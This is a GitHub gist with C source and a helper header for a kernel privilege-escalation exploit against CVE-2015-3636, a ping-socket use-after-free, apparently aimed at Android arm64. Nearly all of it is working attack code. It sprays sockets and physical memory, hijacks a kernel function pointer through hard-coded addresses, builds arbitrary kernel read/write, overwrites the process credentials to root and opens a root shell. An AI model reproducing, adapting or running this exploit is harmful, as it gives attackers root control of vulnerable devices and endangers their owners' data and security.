Last active
July 30, 2020 14:12
-
-
Save f0rm2l1n/446bbffba345179dbb3e4d7d86d13d36 to your computer and use it in GitHub Desktop.
rootable exploit for CVE-2015-3636
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "exp2.h" | |
#define PAGE_SIZE (0x1000) | |
#define MAX_NULLMAP_SIZE (PAGE_SIZE * 4) | |
#define LIST_POSIION (0x200200) | |
#define PROTECT_BASE (LIST_POSIION&~(PAGE_SIZE-1)) | |
#define MAX_VULTRIG_SOCKS_COUNT (4000) | |
#define MAX_PHYSMAP_SIZE (128 * 1024 * 1024) // 128 MB, cannot be too bigger... | |
// 128*6 in total, we only assigned with 1GB | |
#define MAX_PHYSMAP_SPRAY_PROCESS (6) // 6 times | |
#define MAGIC_VALUE (0x4B5F5F4B) | |
#define SIOCGSTAMPNS (0x8907) | |
#define NSEC_PER_SEC (1000000000) | |
int vultrig_socks[MAX_VULTRIG_SOCKS_COUNT]; | |
void* physmap_spray_pages[(MAX_PHYSMAP_SIZE / PAGE_SIZE) * MAX_PHYSMAP_SPRAY_PROCESS]; | |
pid_t physmap_spray_children[MAX_PHYSMAP_SPRAY_PROCESS]; | |
int physmap_spray_pages_count; | |
void* payload = NULL; | |
int exp_sock = -1; | |
int exp_index = 0; | |
static inline void errhandler(char* s) | |
{ | |
perror(s); | |
exit(EXIT_FAILURE); | |
} | |
void prepare(void) | |
{ | |
printf("[+] Start prepare...\n"); | |
/* maximize the fd limit to enable spraying */ | |
struct rlimit rlim; | |
int ret; | |
ret = getrlimit(RLIMIT_NOFILE, &rlim); | |
if (ret != 0) errhandler("[!] prepare().getrlimit-1"); | |
rlim.rlim_cur = rlim.rlim_max; | |
setrlimit(RLIMIT_NOFILE, &rlim); | |
ret = getrlimit(RLIMIT_NOFILE, &rlim); | |
if (ret != 0) errhandler("[!] prepare().getrlimit-2"); | |
printf("[~] Done prepare!\n"); | |
} | |
void protection(void) | |
{ | |
printf("[+] Start protection...\n"); | |
int i; | |
void* protect = mmap(PROTECT_BASE, MAX_NULLMAP_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0); | |
if(protect == MAP_FAILED) errhandler("[!] protection().mmap"); | |
for(i = 0; i < MAX_NULLMAP_SIZE / PAGE_SIZE; i++) | |
memset((char *)protect + PAGE_SIZE * i, 0x90, PAGE_SIZE); | |
if(mlock(PROTECT_BASE, MAX_NULLMAP_SIZE) == -1) errhandler("[!] protection().mlock"); | |
printf("[~] Done protection!\n"); | |
} | |
void spraying(void) | |
{ | |
printf("[+] Start socket spraying...\n"); | |
int i, ret; | |
struct sockaddr _sockaddr1 = { .sa_family = AF_INET }; | |
struct sockaddr _sockaddr2 = { .sa_family = AF_UNSPEC }; | |
for(i = 0; i < MAX_VULTRIG_SOCKS_COUNT; i++) | |
{ | |
vultrig_socks[i] = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP); | |
if(vultrig_socks[i] < 0) errhandler("[!] spraying().socket-create vultrig sockets"); | |
ret = connect(vultrig_socks[i], &_sockaddr1, sizeof(_sockaddr1)); | |
if(ret < 0) errhandler("[!] spraying().connect-hashing the socket"); | |
} | |
for(i = 0; i < MAX_VULTRIG_SOCKS_COUNT; i++) | |
{ | |
ret = connect(vultrig_socks[i], &_sockaddr2, sizeof(_sockaddr2)); | |
if(ret < 0) errhandler("[!] spraying().connect-free once"); | |
ret = connect(vultrig_socks[i], &_sockaddr2, sizeof(_sockaddr2)); | |
if(ret < 0) errhandler("[!] spraying().connect-free twice"); | |
} | |
printf("[~] Done socket spraying!\n"); | |
printf("[+] Start physmap spraying...\n"); | |
memset(physmap_spray_pages, 0, sizeof(physmap_spray_pages)); | |
memset(physmap_spray_children, 0, sizeof(physmap_spray_children)); | |
physmap_spray_pages_count = 0; | |
for(i = 0; i < MAX_PHYSMAP_SPRAY_PROCESS; i++) | |
{ | |
int j; | |
void* mapped; | |
void* mapped_page; | |
mapped = mmap(NULL, MAX_PHYSMAP_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0); | |
if (mapped == MAP_FAILED) errhandler("[!] spraying().mmap"); | |
for(j = 0; j < MAX_PHYSMAP_SIZE / PAGE_SIZE; j++) | |
{ | |
memset((void *)((char *)mapped + PAGE_SIZE * j), 0x41, PAGE_SIZE); | |
mapped_page = (void *)((char *)mapped + PAGE_SIZE * j); | |
*(unsigned long *)((char *)mapped_page + 0x1D8) = MAGIC_VALUE + physmap_spray_pages_count; | |
physmap_spray_pages[physmap_spray_pages_count] = mapped_page; | |
physmap_spray_pages_count++; | |
} | |
} | |
printf("[~] Done physmap spraying!\n"); | |
} | |
void fetching(void) | |
{ | |
printf("[+] Start fetching the UAF socket...\n"); | |
struct timespec time; | |
uint64_t value; | |
void* page = NULL; | |
int j = 0; | |
int got = 0; | |
int index = exp_index; | |
do | |
{ | |
exp_sock = vultrig_socks[index]; | |
memset(&time, 0, sizeof(time)); | |
ioctl(exp_sock, SIOCGSTAMPNS, &time); | |
value = ((uint64_t)time.tv_sec * NSEC_PER_SEC) + time.tv_nsec; | |
for(j = 0; j < physmap_spray_pages_count; j++) | |
{ | |
page = physmap_spray_pages[j]; | |
if(value == *(unsigned long *)((char *)page + 0x1D8)) | |
{ | |
printf("[*] obtained magic:%p\n", value); | |
got = 1; | |
payload = page; | |
break; | |
} | |
} | |
index += 1; | |
} | |
while(!got && index < MAX_VULTRIG_SOCKS_COUNT); | |
if(got == 0) errhandler("[!] fetching() fail..."); | |
exp_index = index; | |
printf("[~] Done fetching the UAF socket!\n"); | |
} | |
// #define PRINTK (0xffffffc00045294c) | |
// typedef unsigned long (* _printk)(char*msg); | |
// void backdoor_payload(void) | |
// { | |
// ((_printk)(PRINTK))("Boom! Arbitary Code Execution!\n"); | |
// } | |
void trigger(void) | |
{ | |
close(exp_sock); | |
} | |
void placing(void) | |
{ | |
printf("[+] Start hijacking pc as well as set addr_limit...\n"); | |
// ip_mc_drop_socket(), mc_list set to NULL | |
*(unsigned long *)((char *)payload + 0x288) = 0; | |
// try hijack sk->sk_prot->close(sk, timeout) | |
struct proto* fakeproto = malloc(sizeof(struct proto)); | |
// set addr_limit thourgh kernel_setsockopt | |
*(unsigned long *)((char* )payload + 0x28) = (unsigned long)payload; // recursive... | |
*(unsigned long *)((char* )payload) = (unsigned long)0xffffffc0003443cc; | |
*(unsigned long *)((char* )payload + 0x68) = (unsigned long)0xFFFFFFC000344404; | |
trigger(); // We can close the corresponded socket to trigger the bug | |
printf("[~] Done these! We are allowed to do arbitrary read&write\n"); | |
// write to mmap_min_addr | |
printf("[+] Start hijacking mmap_min_addr...\n"); | |
unsigned long empty8 = 0; | |
kernel_write8((void *)0xffffffc000620c90, &empty8); | |
// turn off selinux | |
void* nullmap = mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE| MAP_FIXED | MAP_ANONYMOUS, -1, 0); | |
if (nullmap == MAP_FAILED) errhandler("[!] placing().mmap"); | |
printf("[~] Successfully adopt null mapping\n"); | |
// turn off selinux | |
// fortunately we have no selinux | |
exp_sock = -1; | |
exp_index += 1; | |
fetching(); | |
// thread_info_addr=sp&0xFFFFFFFFFFFFC000? does this really make sense? | |
// leaking that address to nullmap region | |
*(unsigned long *)((char *)payload + 0x288) = 0; | |
*(unsigned long *)((char *)payload + 0x28) = (unsigned long)payload; | |
*(unsigned long *)((char *)payload) = (unsigned long)0xFFFFFFC00045457C; | |
trigger(); | |
void* task = NULL; | |
task = (void *)*(unsigned long *)((char *)nullmap + 0x18); | |
void* cred = NULL; | |
kernel_read8((char *)task + 0x340, &cred); | |
// cred rewriting | |
unsigned int empty4 = 0; | |
kernel_write4((char *)cred + 4, &empty4); | |
kernel_write4((char *)cred + 8, &empty4); | |
kernel_write4((char *)cred + 12, &empty4); | |
kernel_write4((char *)cred + 16, &empty4); | |
kernel_write4((char *)cred + 20, &empty4); | |
kernel_write4((char *)cred + 24, &empty4); | |
kernel_write4((char *)cred + 28, &empty4); | |
kernel_write4((char *)cred + 32, &empty4); | |
// fd cleaning | |
void* files, *fdt; | |
kernel_read8((char *)task + 0x728, &files); | |
kernel_read8((char *)files + 8, &fdt); | |
empty4 = 0; | |
kernel_write4(fdt, &empty4); | |
} | |
void getshell() | |
{ | |
if(getuid() == 0) | |
{ | |
printf("[*] congrats, enjoy your root shell.\n"); | |
system("/system/bin/sh"); | |
} | |
else errhandler("[!] loser, try again\n"); | |
} | |
int main(int argc, char* argv[]) | |
{ | |
prepare(); | |
// We can do some preparation here, maximize the resources for example | |
protection(); | |
// Then we should do `mmap` of the poision value to avoid early crash | |
spraying(); | |
// We should create vulnerable sockets as well as spraying lots of ping sock objects here | |
exp_index = MAX_VULTRIG_SOCKS_COUNT / 2; | |
fetching(); // start from exp_index, result to exp_socket and payload | |
// Then we can do lots of mmap here, trying to fetch the target page | |
placing(); | |
// We should find ways to verify whether or not we get we want | |
getshell(); | |
// A root shell! | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#ifndef _EXP2_H | |
#define _EXP2_H | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <stdint.h> | |
#include <unistd.h> | |
#include <fcntl.h> | |
#include <errno.h> | |
#include <limits.h> | |
#include <signal.h> | |
#include <string.h> | |
#include <time.h> | |
#include <pthread.h> | |
#include <sys/wait.h> | |
#include <sys/sysinfo.h> | |
#include <sys/types.h> | |
#include <sys/mman.h> | |
#include <sys/socket.h> | |
#include <linux/in.h> | |
#include <linux/sockios.h> | |
struct proto { | |
void (*close)(struct sock *sk, long timeout); | |
/* other field we just don't care for now */ | |
}; | |
int kernel_read8(void* kernel_addr, unsigned long* value) | |
{ | |
int pipefd[2]; | |
if(-1 == pipe(pipefd)) | |
{ | |
printf("[*] create dual pipe fail.\n"); | |
return -1; | |
} | |
if(-1 == write(pipefd[1], kernel_addr, 8)) | |
{ | |
perror("[*] write pipe fail."); | |
return -1; | |
} | |
if(0 == read(pipefd[0], value, 8)) | |
{ | |
perror("[*] read piple fail."); | |
return -1; | |
} | |
return 0; | |
} | |
int kernel_read4(void* kernel_addr, unsigned int* value) | |
{ | |
int pipefd[2]; | |
if(-1 == pipe(pipefd)) | |
{ | |
printf("[*] create dual pipe fail.\n"); | |
return -1; | |
} | |
if(-1 == write(pipefd[1], kernel_addr, 4)) | |
{ | |
perror("[*] write pipe fail."); | |
return -1; | |
} | |
if(0 == read(pipefd[0], value, 4)) | |
{ | |
perror("[*] read piple fail."); | |
return -1; | |
} | |
return 0; | |
} | |
int kernel_write8(void* kernel_addr, unsigned long* value) | |
{ | |
int pipefd[2]; | |
if(-1 == pipe(pipefd)) | |
{ | |
printf("[*] create dual pipe fail.\n"); | |
return -1; | |
} | |
if(-1 == write(pipefd[1], value, 8)) | |
{ | |
perror("[*] write pipe fail."); | |
return -1; | |
} | |
if(0 == read(pipefd[0], kernel_addr, 8)) | |
{ | |
perror("[*] read piple fail."); | |
return -1; | |
} | |
return 0; | |
} | |
int kernel_write4(void* kernel_addr, unsigned int* value) | |
{ | |
int pipefd[2]; | |
if(-1 == pipe(pipefd)) | |
{ | |
printf("[*] create dual pipe fail.\n"); | |
return -1; | |
} | |
if(-1 == write(pipefd[1], value, 4)) | |
{ | |
perror("[*] write pipe fail."); | |
return -1; | |
} | |
if(0 == read(pipefd[0], kernel_addr, 4)) | |
{ | |
perror("[*] read piple fail."); | |
return -1; | |
} | |
return 0; | |
} | |
#endif |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment